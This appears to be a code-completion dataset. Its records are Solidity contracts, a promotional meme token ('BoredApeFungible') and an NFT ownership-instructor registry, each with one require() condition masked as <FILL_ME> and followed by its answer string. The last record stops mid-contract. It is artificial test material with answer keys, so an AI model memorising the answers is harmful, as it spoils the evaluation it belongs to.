{
}
function toggleSwap(bool _swapEnabled) public onlyOwner {
}
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
}
function setIsFeeExempt(address holder, bool exempt) public onlyOwner {
}
function toggleTransferDelay() public onlyOwner {
}
function recoverLosteth() external onlyOwner {
}
function recoverLostTokens(address _token, uint256 _amount)
external
onlyOwner
{
}
}
| owner()==_msgSender()||isAuthorized(_msgSender()),"Ownable: caller is not allowed" | 171,323 | owner()==_msgSender()||isAuthorized(_msgSender()) |
"TOKEN: 3 minutes cooldown between buys" | /**
// SPDX-License-Identifier: Unlicensed
Elon Just Tweet and Change his PP !
https://twitter.com/elonmusk/status/1521807738317066240?s=20&t=-Q9MBV0bBxU54ZT30QJ5Fw
Initial liquidity: 1 - 1.5 ETH
Max Wallet 3%
Low Tax : Only 5% for LP & Marketing
TG : https://t.me/BoredApeFungiblePortal
*/
pragma solidity ^0.8.10;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
abstract contract Ownable is Context {
address private _owner;
mapping(address => bool) internal authorizations;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
}
function owner() public view virtual returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
function _transferOwnership(address newOwner) internal virtual {
}
function authorize(address adr) public onlyOwner {
}
function unauthorize(address adr) public onlyOwner {
}
function isAuthorized(address adr) public view returns (bool) {
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract BoredApeFungible is Context, IERC20, Ownable {
using SafeMath for uint256;
uint256 MAX_INT =
115792089237316195423570985008687907853269984665640564039457584007913129639935;
string private constant _name = "BoredApeFungible";
string private constant _symbol = "BAPEF";
uint8 private constant _decimals = 9;
address[] private _sniipers;
mapping(address => uint256) _balances;
mapping(address => uint256) _lastTX;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
mapping(address => bool) private _isSniiper;
mapping(address => bool) private _liquidityHolders;
mapping(address => bool) private bots;
uint256 _totalSupply = 1000000000 * 10**9;
//Buy Fee
uint256 private _taxFeeOnBuy = 5;
//Sell Fee
uint256 private _taxFeeOnSell = 5;
//Original Fee
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previoustaxFee = _taxFee;
address payable private _marketingAddress;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen = false;
bool private inSwap = false;
bool private swapEnabled = true;
bool private transferDelay = true;
bool sniiperProtection = true;
uint256 private wipeBlocks = 1;
uint256 private launchedAt;
uint256 public _maxTxAmount = 30000000 * 10**9; //3
uint256 public _maxWalletSize = 30000000 * 10**9; //3
uint256 public _swapTokensAtAmount = 1000000 * 10**9; //0.1
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap() {
}
constructor() {
}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public view override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
}
function setWipeBlocks(uint256 newWipeBlocks) public onlyOwner {
}
function setSniiperProtection(bool _sniiperProtection) public onlyOwner {
}
function byeByeSniipers() public onlyOwner lockTheSwap {
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (!_isExcludedFromFee[to] && !_isExcludedFromFee[from]) {
require(tradingOpen, "TOKEN: Trading not yet started");
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(
!bots[from] && !bots[to],
"TOKEN: Your account is blacklisted!"
);
if (sniiperProtection) {
if (
launchedAt > 0 &&
from == uniswapV2Pair &&
!_liquidityHolders[from] &&
!_liquidityHolders[to]
) {
if (block.number - launchedAt <= wipeBlocks) {
if (!_isSniiper[to]) {
_sniipers.push(to);
}
_isSniiper[to] = true;
}
}
}
if (to != uniswapV2Pair) {
if (from == uniswapV2Pair && transferDelay) {
require(<FILL_ME>)
}
require(
balanceOf(to) + amount < _maxWalletSize,
"TOKEN: Balance exceeds wallet size!"
);
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if (contractTokenBalance >= _swapTokensAtAmount) {
contractTokenBalance = _swapTokensAtAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance); // Reserve of 15% of tokens for liquidity
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0 ether) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if (
(_isExcludedFromFee[from] || _isExcludedFromFee[to]) ||
(from != uniswapV2Pair && to != uniswapV2Pair)
) {
takeFee = false;
} else {
//Set Fee for Buys
if (from == uniswapV2Pair && to != address(uniswapV2Router)) {
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_taxFee = _taxFeeOnSell;
}
}
_lastTX[tx.origin] = block.timestamp;
_lastTX[to] = block.timestamp;
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
}
function sendETHToFee(uint256 amount) private {
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
}
function openTrading() public onlyOwner {
}
function manualswap() external onlyOwner {
}
function blockBots(address[] memory bots_) public onlyOwner {
}
function unblockBot(address notbot) public onlyOwner {
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
}
function airdrop(address[] calldata recipients, uint256[] calldata amount)
public
onlyOwner
{
}
function _transferStandard(
address sender,
address recipient,
uint256 amount
) private {
}
function _transferNoTax(
address sender,
address recipient,
uint256 amount
) internal returns (bool) {
}
function takeFees(address sender, uint256 amount)
internal
returns (uint256)
{
}
receive() external payable {}
function transferOwnership(address newOwner) public override onlyOwner {
}
function setFees(uint256 taxFeeOnBuy, uint256 taxFeeOnSell)
public
onlyOwner
{
}
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount)
public
onlyOwner
{
}
function toggleSwap(bool _swapEnabled) public onlyOwner {
}
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
}
function setIsFeeExempt(address holder, bool exempt) public onlyOwner {
}
function toggleTransferDelay() public onlyOwner {
}
function recoverLosteth() external onlyOwner {
}
function recoverLostTokens(address _token, uint256 _amount)
external
onlyOwner
{
}
}
| _lastTX[tx.origin]+3minutes<block.timestamp&&_lastTX[to]+3minutes<block.timestamp,"TOKEN: 3 minutes cooldown between buys" | 171,323 | _lastTX[tx.origin]+3minutes<block.timestamp&&_lastTX[to]+3minutes<block.timestamp |
"Name does not exist" | /**
* A register of OwnershipInstructor contracts that helps standardize "ownerOf" for NFTs.
*/
contract OwnershipInstructorRegisterV1 is Ownable,IOwnershipInstructorRegisterV1 {
bytes4 public immutable INSTRUCTOR_ID = type(IOwnershipInstructor).interfaceId;
using ERC165Checker for address;
///@dev name of the contract
string internal __name;
///@dev list of Ownership instructor contracts
Instructor[] public instructorRegister;
/**
* Hashed Name to instructorIndex lookup
*/
mapping(bytes32 => uint256) internal nameToinstructorIndex;
///@dev name (hashed) of instructor to list of implementations
mapping(address => string) public implementationToInstructorName;
///@dev name (hashed) of instructor to list of implementations
mapping(bytes32=>address[]) internal instructorNameToImplementationList;
///@dev implementation address to index inside instructorNameToImplementationList
mapping(address => uint256) internal implementationIndex;
/**
* Useful for knowing if a contract has already been registered
*/
mapping(bytes32=>bool) internal registeredHash;
/**
* Useful for knowing if a Contract Instructor name has already been registered
*/
mapping(bytes32=>bool) internal registeredName;
// event NewInstructor(address indexed _instructor,string _name);
// event RemovedInstructor(address indexed _instructor,string _name);
// event UnlinkedImplementation(string indexed _name,address indexed _implementation);
// event LinkedImplementation(string indexed _name,address indexed _implementation);
constructor(){
}
function hashInstructor(address _instructor) internal view returns (bytes32 _hash){
}
function hashName(string memory _name) internal pure returns (bytes32 _hash){
}
function name() public view returns (string memory){
}
function getInstructorByName (string memory _name) public view returns(Instructor memory){
bytes32 _hash =hashName(_name);
require(<FILL_ME>)
return instructorRegister[nameToinstructorIndex[_hash]];
}
///@dev the max number of items to show per page;
///@dev only used in getImplementationsOf()
uint256 private constant _maxItemsPerPage = 150;
/**
* @dev Paginated to avoid risk of DoS.
* @notice Function that returns the implementations of a given Instructor (pages of 150 elements)
* @param _name name of instructor
* @param page page index, 0 is the first 150 elements of the list of implementation.
* @return _addresses list of implementations and _nextpage is the index of the next page, _nextpage is 0 if there is no more pages.
*/
function getImplementationsOf(string memory _name,uint256 page)
public
view
returns (address[] memory _addresses,uint256 _nextpage)
{
}
/**
* @dev Paginated to avoid risk of DoS.
* @notice Function that returns the list of Instructor names (pages of 150 elements)
* @param page page index, 0 is the first 150 elements of the list of implementation.
* @return _names list of instructor names and _nextpage is the index of the next page, _nextpage is 0 if there are no more pages.
*/
function getListOfInstructorNames(uint256 page)
public
view
returns (string[] memory _names,uint256 _nextpage)
{
}
function _safeAddInstructor(address _instructor,string memory _name) private {
}
function addInstructor(address _instructor,string memory _name) public onlyOwner {
}
function addInstructorAndImplementation(address _instructor,string memory _name, address _implementation) public onlyOwner {
}
function linkImplementationToInstructor(address _implementation,string memory _name) public onlyOwner {
}
function unlinkImplementationToInstructor(address _impl) public onlyOwner {
}
function _safeRemoveInstructor(bytes32 _nameHash) private {
}
function removeInstructor(string memory _name) public onlyOwner {
}
/**
* @dev Given an implementation, find the best Ownership instructor contract for it.
* @notice Find the best Ownership Instructor contract given the implementation address
* @param _impl address of an NFT contract.
*/
function instructorGivenImplementation(address _impl)public view returns (Instructor memory _instructor) {
}
}
| registeredName[_hash],"Name does not exist" | 171,418 | registeredName[_hash] |
"Name does not exist" | /**
* A register of OwnershipInstructor contracts that helps standardize "ownerOf" for NFTs.
*/
contract OwnershipInstructorRegisterV1 is Ownable,IOwnershipInstructorRegisterV1 {
bytes4 public immutable INSTRUCTOR_ID = type(IOwnershipInstructor).interfaceId;
using ERC165Checker for address;
///@dev name of the contract
string internal __name;
///@dev list of Ownership instructor contracts
Instructor[] public instructorRegister;
/**
* Hashed Name to instructorIndex lookup
*/
mapping(bytes32 => uint256) internal nameToinstructorIndex;
///@dev name (hashed) of instructor to list of implementations
mapping(address => string) public implementationToInstructorName;
///@dev name (hashed) of instructor to list of implementations
mapping(bytes32=>address[]) internal instructorNameToImplementationList;
///@dev implementation address to index inside instructorNameToImplementationList
mapping(address => uint256) internal implementationIndex;
/**
* Useful for knowing if a contract has already been registered
*/
mapping(bytes32=>bool) internal registeredHash;
/**
* Useful for knowing if a Contract Instructor name has already been registered
*/
mapping(bytes32=>bool) internal registeredName;
// event NewInstructor(address indexed _instructor,string _name);
// event RemovedInstructor(address indexed _instructor,string _name);
// event UnlinkedImplementation(string indexed _name,address indexed _implementation);
// event LinkedImplementation(string indexed _name,address indexed _implementation);
constructor(){
}
function hashInstructor(address _instructor) internal view returns (bytes32 _hash){
}
function hashName(string memory _name) internal pure returns (bytes32 _hash){
}
function name() public view returns (string memory){
}
function getInstructorByName (string memory _name) public view returns(Instructor memory){
}
///@dev the max number of items to show per page;
///@dev only used in getImplementationsOf()
uint256 private constant _maxItemsPerPage = 150;
/**
* @dev Paginated to avoid risk of DoS.
* @notice Function that returns the implementations of a given Instructor (pages of 150 elements)
* @param _name name of instructor
* @param page page index, 0 is the first 150 elements of the list of implementation.
* @return _addresses list of implementations and _nextpage is the index of the next page, _nextpage is 0 if there is no more pages.
*/
function getImplementationsOf(string memory _name,uint256 page)
public
view
returns (address[] memory _addresses,uint256 _nextpage)
{
bytes32 _nameHash =hashName(_name);
require(<FILL_ME>)
uint256 size = instructorNameToImplementationList[_nameHash].length;
uint256 offset = page*_maxItemsPerPage;
uint256 resultSize;
if(size>= _maxItemsPerPage+offset){
// size is above or equal to 150* page index + 150
resultSize = _maxItemsPerPage;
}else if (size< _maxItemsPerPage+offset){
// size is less than 150* page index + 150
resultSize = size - offset;
}
address[] memory addresses = new address[](resultSize);
uint256 index = 0;
for (uint256 i = offset; i < resultSize+offset; i++) {
addresses[index] = instructorNameToImplementationList[_nameHash][i];
index++;
}
if(size<=(addresses.length+offset)){
return (addresses,0);
}else{
return (addresses,page+1);
}
}
/**
* @dev Paginated to avoid risk of DoS.
* @notice Function that returns the list of Instructor names (pages of 150 elements)
* @param page page index, 0 is the first 150 elements of the list of implementation.
* @return _names list of instructor names and _nextpage is the index of the next page, _nextpage is 0 if there are no more pages.
*/
function getListOfInstructorNames(uint256 page)
public
view
returns (string[] memory _names,uint256 _nextpage)
{
}
function _safeAddInstructor(address _instructor,string memory _name) private {
}
function addInstructor(address _instructor,string memory _name) public onlyOwner {
}
function addInstructorAndImplementation(address _instructor,string memory _name, address _implementation) public onlyOwner {
}
function linkImplementationToInstructor(address _implementation,string memory _name) public onlyOwner {
}
function unlinkImplementationToInstructor(address _impl) public onlyOwner {
}
function _safeRemoveInstructor(bytes32 _nameHash) private {
}
function removeInstructor(string memory _name) public onlyOwner {
}
/**
* @dev Given an implementation, find the best Ownership instructor contract for it.
* @notice Find the best Ownership Instructor contract given the implementation address
* @param _impl address of an NFT contract.
*/
function instructorGivenImplementation(address _impl)public view returns (Instructor memory _instructor) {
}
}
| registeredName[_nameHash],"Name does not exist" | 171,418 | registeredName[_nameHash] |
"Instructor has already been registered" | /**
* A register of OwnershipInstructor contracts that helps standardize "ownerOf" for NFTs.
*/
contract OwnershipInstructorRegisterV1 is Ownable,IOwnershipInstructorRegisterV1 {
bytes4 public immutable INSTRUCTOR_ID = type(IOwnershipInstructor).interfaceId;
using ERC165Checker for address;
///@dev name of the contract
string internal __name;
///@dev list of Ownership instructor contracts
Instructor[] public instructorRegister;
/**
* Hashed Name to instructorIndex lookup
*/
mapping(bytes32 => uint256) internal nameToinstructorIndex;
///@dev name (hashed) of instructor to list of implementations
mapping(address => string) public implementationToInstructorName;
///@dev name (hashed) of instructor to list of implementations
mapping(bytes32=>address[]) internal instructorNameToImplementationList;
///@dev implementation address to index inside instructorNameToImplementationList
mapping(address => uint256) internal implementationIndex;
/**
* Useful for knowing if a contract has already been registered
*/
mapping(bytes32=>bool) internal registeredHash;
/**
* Useful for knowing if a Contract Instructor name has already been registered
*/
mapping(bytes32=>bool) internal registeredName;
// event NewInstructor(address indexed _instructor,string _name);
// event RemovedInstructor(address indexed _instructor,string _name);
// event UnlinkedImplementation(string indexed _name,address indexed _implementation);
// event LinkedImplementation(string indexed _name,address indexed _implementation);
constructor(){
}
function hashInstructor(address _instructor) internal view returns (bytes32 _hash){
}
function hashName(string memory _name) internal pure returns (bytes32 _hash){
}
function name() public view returns (string memory){
}
function getInstructorByName (string memory _name) public view returns(Instructor memory){
}
///@dev the max number of items to show per page;
///@dev only used in getImplementationsOf()
uint256 private constant _maxItemsPerPage = 150;
/**
* @dev Paginated to avoid risk of DoS.
* @notice Function that returns the implementations of a given Instructor (pages of 150 elements)
* @param _name name of instructor
* @param page page index, 0 is the first 150 elements of the list of implementation.
* @return _addresses list of implementations and _nextpage is the index of the next page, _nextpage is 0 if there is no more pages.
*/
function getImplementationsOf(string memory _name,uint256 page)
public
view
returns (address[] memory _addresses,uint256 _nextpage)
{
}
/**
* @dev Paginated to avoid risk of DoS.
* @notice Function that returns the list of Instructor names (pages of 150 elements)
* @param page page index, 0 is the first 150 elements of the list of implementation.
* @return _names list of instructor names and _nextpage is the index of the next page, _nextpage is 0 if there are no more pages.
*/
function getListOfInstructorNames(uint256 page)
public
view
returns (string[] memory _names,uint256 _nextpage)
{
}
function _safeAddInstructor(address _instructor,string memory _name) private {
bytes32 _hash = hashInstructor(_instructor);
bytes32 _nameHash = hashName(_name);
require(<FILL_ME>)
require(!registeredName[_nameHash],"Instructor Name already taken");
Instructor memory _inst = Instructor(_instructor,_name);
instructorRegister.push(_inst);
//instructor inserted at last index.
nameToinstructorIndex[_nameHash]=instructorRegister.length-1;
registeredHash[_hash]=true;
registeredName[_nameHash]=true;
}
function addInstructor(address _instructor,string memory _name) public onlyOwner {
}
function addInstructorAndImplementation(address _instructor,string memory _name, address _implementation) public onlyOwner {
}
function linkImplementationToInstructor(address _implementation,string memory _name) public onlyOwner {
}
function unlinkImplementationToInstructor(address _impl) public onlyOwner {
}
function _safeRemoveInstructor(bytes32 _nameHash) private {
}
function removeInstructor(string memory _name) public onlyOwner {
}
/**
* @dev Given an implementation, find the best Ownership instructor contract for it.
* @notice Find the best Ownership Instructor contract given the implementation address
* @param _impl address of an NFT contract.
*/
function instructorGivenImplementation(address _impl)public view returns (Instructor memory _instructor) {
}
}
| !registeredHash[_hash],"Instructor has already been registered" | 171,418 | !registeredHash[_hash] |
"Instructor Name already taken" | /**
* A register of OwnershipInstructor contracts that helps standardize "ownerOf" for NFTs.
*/
contract OwnershipInstructorRegisterV1 is Ownable,IOwnershipInstructorRegisterV1 {
bytes4 public immutable INSTRUCTOR_ID = type(IOwnershipInstructor).interfaceId;
using ERC165Checker for address;
///@dev name of the contract
string internal __name;
///@dev list of Ownership instructor contracts
Instructor[] public instructorRegister;
/**
* Hashed Name to instructorIndex lookup
*/
mapping(bytes32 => uint256) internal nameToinstructorIndex;
///@dev name (hashed) of instructor to list of implementations
mapping(address => string) public implementationToInstructorName;
///@dev name (hashed) of instructor to list of implementations
mapping(bytes32=>address[]) internal instructorNameToImplementationList;
///@dev implementation address to index inside instructorNameToImplementationList
mapping(address => uint256) internal implementationIndex;
/**
* Useful for knowing if a contract has already been registered
*/
mapping(bytes32=>bool) internal registeredHash;
/**
* Useful for knowing if a Contract Instructor name has already been registered
*/
mapping(bytes32=>bool) internal registeredName;
// event NewInstructor(address indexed _instructor,string _name);
// event RemovedInstructor(address indexed _instructor,string _name);
// event UnlinkedImplementation(string indexed _name,address indexed _implementation);
// event LinkedImplementation(string indexed _name,address indexed _implementation);
constructor(){
}
function hashInstructor(address _instructor) internal view returns (bytes32 _hash){
}
function hashName(string memory _name) internal pure returns (bytes32 _hash){
}
function name() public view returns (string memory){
}
function getInstructorByName (string memory _name) public view returns(Instructor memory){
}
///@dev the max number of items to show per page;
///@dev only used in getImplementationsOf()
uint256 private constant _maxItemsPerPage = 150;
/**
* @dev Paginated to avoid risk of DoS.
* @notice Function that returns the implementations of a given Instructor (pages of 150 elements)
* @param _name name of instructor
* @param page page index, 0 is the first 150 elements of the list of implementation.
* @return _addresses list of implementations and _nextpage is the index of the next page, _nextpage is 0 if there is no more pages.
*/
function getImplementationsOf(string memory _name,uint256 page)
public
view
returns (address[] memory _addresses,uint256 _nextpage)
{
}
/**
* @dev Paginated to avoid risk of DoS.
* @notice Function that returns the list of Instructor names (pages of 150 elements)
* @param page page index, 0 is the first 150 elements of the list of implementation.
* @return _names list of instructor names and _nextpage is the index of the next page, _nextpage is 0 if there are no more pages.
*/
function getListOfInstructorNames(uint256 page)
public
view
returns (string[] memory _names,uint256 _nextpage)
{
}
function _safeAddInstructor(address _instructor,string memory _name) private {
bytes32 _hash = hashInstructor(_instructor);
bytes32 _nameHash = hashName(_name);
require(!registeredHash[_hash],"Instructor has already been registered");
require(<FILL_ME>)
Instructor memory _inst = Instructor(_instructor,_name);
instructorRegister.push(_inst);
//instructor inserted at last index.
nameToinstructorIndex[_nameHash]=instructorRegister.length-1;
registeredHash[_hash]=true;
registeredName[_nameHash]=true;
}
function addInstructor(address _instructor,string memory _name) public onlyOwner {
}
function addInstructorAndImplementation(address _instructor,string memory _name, address _implementation) public onlyOwner {
}
function linkImplementationToInstructor(address _implementation,string memory _name) public onlyOwner {
}
function unlinkImplementationToInstructor(address _impl) public onlyOwner {
}
function _safeRemoveInstructor(bytes32 _nameHash) private {
}
function removeInstructor(string memory _name) public onlyOwner {
}
/**
* @dev Given an implementation, find the best Ownership instructor contract for it.
* @notice Find the best Ownership Instructor contract given the implementation address
* @param _impl address of an NFT contract.
*/
function instructorGivenImplementation(address _impl)public view returns (Instructor memory _instructor) {
}
}
| !registeredName[_nameHash],"Instructor Name already taken" | 171,418 | !registeredName[_nameHash] |
"Name is too short" | /**
* A register of OwnershipInstructor contracts that helps standardize "ownerOf" for NFTs.
*/
contract OwnershipInstructorRegisterV1 is Ownable,IOwnershipInstructorRegisterV1 {
bytes4 public immutable INSTRUCTOR_ID = type(IOwnershipInstructor).interfaceId;
using ERC165Checker for address;
///@dev name of the contract
string internal __name;
///@dev list of Ownership instructor contracts
Instructor[] public instructorRegister;
/**
* Hashed Name to instructorIndex lookup
*/
mapping(bytes32 => uint256) internal nameToinstructorIndex;
///@dev name (hashed) of instructor to list of implementations
mapping(address => string) public implementationToInstructorName;
///@dev name (hashed) of instructor to list of implementations
mapping(bytes32=>address[]) internal instructorNameToImplementationList;
///@dev implementation address to index inside instructorNameToImplementationList
mapping(address => uint256) internal implementationIndex;
/**
* Useful for knowing if a contract has already been registered
*/
mapping(bytes32=>bool) internal registeredHash;
/**
* Useful for knowing if a Contract Instructor name has already been registered
*/
mapping(bytes32=>bool) internal registeredName;
// event NewInstructor(address indexed _instructor,string _name);
// event RemovedInstructor(address indexed _instructor,string _name);
// event UnlinkedImplementation(string indexed _name,address indexed _implementation);
// event LinkedImplementation(string indexed _name,address indexed _implementation);
constructor(){
}
function hashInstructor(address _instructor) internal view returns (bytes32 _hash){
}
function hashName(string memory _name) internal pure returns (bytes32 _hash){
}
function name() public view returns (string memory){
}
function getInstructorByName (string memory _name) public view returns(Instructor memory){
}
///@dev the max number of items to show per page;
///@dev only used in getImplementationsOf()
uint256 private constant _maxItemsPerPage = 150;
/**
* @dev Paginated to avoid risk of DoS.
* @notice Function that returns the implementations of a given Instructor (pages of 150 elements)
* @param _name name of instructor
* @param page page index, 0 is the first 150 elements of the list of implementation.
* @return _addresses list of implementations and _nextpage is the index of the next page, _nextpage is 0 if there is no more pages.
*/
function getImplementationsOf(string memory _name,uint256 page)
public
view
returns (address[] memory _addresses,uint256 _nextpage)
{
}
/**
* @dev Paginated to avoid risk of DoS.
* @notice Function that returns the list of Instructor names (pages of 150 elements)
* @param page page index, 0 is the first 150 elements of the list of implementation.
* @return _names list of instructor names and _nextpage is the index of the next page, _nextpage is 0 if there are no more pages.
*/
function getListOfInstructorNames(uint256 page)
public
view
returns (string[] memory _names,uint256 _nextpage)
{
}
function _safeAddInstructor(address _instructor,string memory _name) private {
}
function addInstructor(address _instructor,string memory _name) public onlyOwner {
require(_instructor !=address(0),"Instructor address cannot be address zero");
require(<FILL_ME>)
require(_instructor.supportsInterface(INSTRUCTOR_ID),"Contract does not support instructor interface");
_safeAddInstructor( _instructor, _name);
emit NewInstructor(_instructor, _name);
}
function addInstructorAndImplementation(address _instructor,string memory _name, address _implementation) public onlyOwner {
}
function linkImplementationToInstructor(address _implementation,string memory _name) public onlyOwner {
}
function unlinkImplementationToInstructor(address _impl) public onlyOwner {
}
function _safeRemoveInstructor(bytes32 _nameHash) private {
}
function removeInstructor(string memory _name) public onlyOwner {
}
/**
* @dev Given an implementation, find the best Ownership instructor contract for it.
* @notice Find the best Ownership Instructor contract given the implementation address
* @param _impl address of an NFT contract.
*/
function instructorGivenImplementation(address _impl)public view returns (Instructor memory _instructor) {
}
}
| bytes(_name).length>4,"Name is too short" | 171,418 | bytes(_name).length>4 |
"Contract does not support instructor interface" | /**
* A register of OwnershipInstructor contracts that helps standardize "ownerOf" for NFTs.
*/
contract OwnershipInstructorRegisterV1 is Ownable,IOwnershipInstructorRegisterV1 {
bytes4 public immutable INSTRUCTOR_ID = type(IOwnershipInstructor).interfaceId;
using ERC165Checker for address;
///@dev name of the contract
string internal __name;
///@dev list of Ownership instructor contracts
Instructor[] public instructorRegister;
/**
* Hashed Name to instructorIndex lookup
*/
mapping(bytes32 => uint256) internal nameToinstructorIndex;
///@dev name (hashed) of instructor to list of implementations
mapping(address => string) public implementationToInstructorName;
///@dev name (hashed) of instructor to list of implementations
mapping(bytes32=>address[]) internal instructorNameToImplementationList;
///@dev implementation address to index inside instructorNameToImplementationList
mapping(address => uint256) internal implementationIndex;
/**
* Useful for knowing if a contract has already been registered
*/
mapping(bytes32=>bool) internal registeredHash;
/**
* Useful for knowing if a Contract Instructor name has already been registered
*/
mapping(bytes32=>bool) internal registeredName;
// event NewInstructor(address indexed _instructor,string _name);
// event RemovedInstructor(address indexed _instructor,string _name);
// event UnlinkedImplementation(string indexed _name,address indexed _implementation);
// event LinkedImplementation(string indexed _name,address indexed _implementation);
constructor(){
}
function hashInstructor(address _instructor) internal view returns (bytes32 _hash){
}
function hashName(string memory _name) internal pure returns (bytes32 _hash){
}
function name() public view returns (string memory){
}
function getInstructorByName (string memory _name) public view returns(Instructor memory){
}
///@dev the max number of items to show per page;
///@dev only used in getImplementationsOf()
uint256 private constant _maxItemsPerPage = 150;
/**
* @dev Paginated to avoid risk of DoS.
* @notice Function that returns the implementations of a given Instructor (pages of 150 elements)
* @param _name name of instructor
* @param page page index, 0 is the first 150 elements of the list of implementation.
* @return _addresses list of implementations and _nextpage is the index of the next page, _nextpage is 0 if there is no more pages.
*/
function getImplementationsOf(string memory _name,uint256 page)
public
view
returns (address[] memory _addresses,uint256 _nextpage)
{
}
/**
* @dev Paginated to avoid risk of DoS.
* @notice Function that returns the list of Instructor names (pages of 150 elements)
* @param page page index, 0 is the first 150 elements of the list of implementation.
* @return _names list of instructor names and _nextpage is the index of the next page, _nextpage is 0 if there are no more pages.
*/
function getListOfInstructorNames(uint256 page)
public
view
returns (string[] memory _names,uint256 _nextpage)
{
}
function _safeAddInstructor(address _instructor,string memory _name) private {
}
function addInstructor(address _instructor,string memory _name) public onlyOwner {
require(_instructor !=address(0),"Instructor address cannot be address zero");
require(bytes(_name).length>4,"Name is too short");
require(<FILL_ME>)
_safeAddInstructor( _instructor, _name);
emit NewInstructor(_instructor, _name);
}
function addInstructorAndImplementation(address _instructor,string memory _name, address _implementation) public onlyOwner {
}
function linkImplementationToInstructor(address _implementation,string memory _name) public onlyOwner {
}
function unlinkImplementationToInstructor(address _impl) public onlyOwner {
}
function _safeRemoveInstructor(bytes32 _nameHash) private {
}
function removeInstructor(string memory _name) public onlyOwner {
}
/**
* @dev Given an implementation, find the best Ownership instructor contract for it.
* @notice Find the best Ownership Instructor contract given the implementation address
* @param _impl address of an NFT contract.
*/
function instructorGivenImplementation(address _impl)public view returns (Instructor memory _instructor) {
}
}
| _instructor.supportsInterface(INSTRUCTOR_ID),"Contract does not support instructor interface" | 171,418 | _instructor.supportsInterface(INSTRUCTOR_ID) |
"Implementation already linked to an instructor" | /**
* A register of OwnershipInstructor contracts that helps standardize "ownerOf" for NFTs.
*/
contract OwnershipInstructorRegisterV1 is Ownable,IOwnershipInstructorRegisterV1 {
bytes4 public immutable INSTRUCTOR_ID = type(IOwnershipInstructor).interfaceId;
using ERC165Checker for address;
///@dev name of the contract
string internal __name;
///@dev list of Ownership instructor contracts
Instructor[] public instructorRegister;
/**
* Hashed Name to instructorIndex lookup
*/
mapping(bytes32 => uint256) internal nameToinstructorIndex;
///@dev name (hashed) of instructor to list of implementations
mapping(address => string) public implementationToInstructorName;
///@dev name (hashed) of instructor to list of implementations
mapping(bytes32=>address[]) internal instructorNameToImplementationList;
///@dev implementation address to index inside instructorNameToImplementationList
mapping(address => uint256) internal implementationIndex;
/**
* Useful for knowing if a contract has already been registered
*/
mapping(bytes32=>bool) internal registeredHash;
/**
* Useful for knowing if a Contract Instructor name has already been registered
*/
mapping(bytes32=>bool) internal registeredName;
// event NewInstructor(address indexed _instructor,string _name);
// event RemovedInstructor(address indexed _instructor,string _name);
// event UnlinkedImplementation(string indexed _name,address indexed _implementation);
// event LinkedImplementation(string indexed _name,address indexed _implementation);
constructor(){
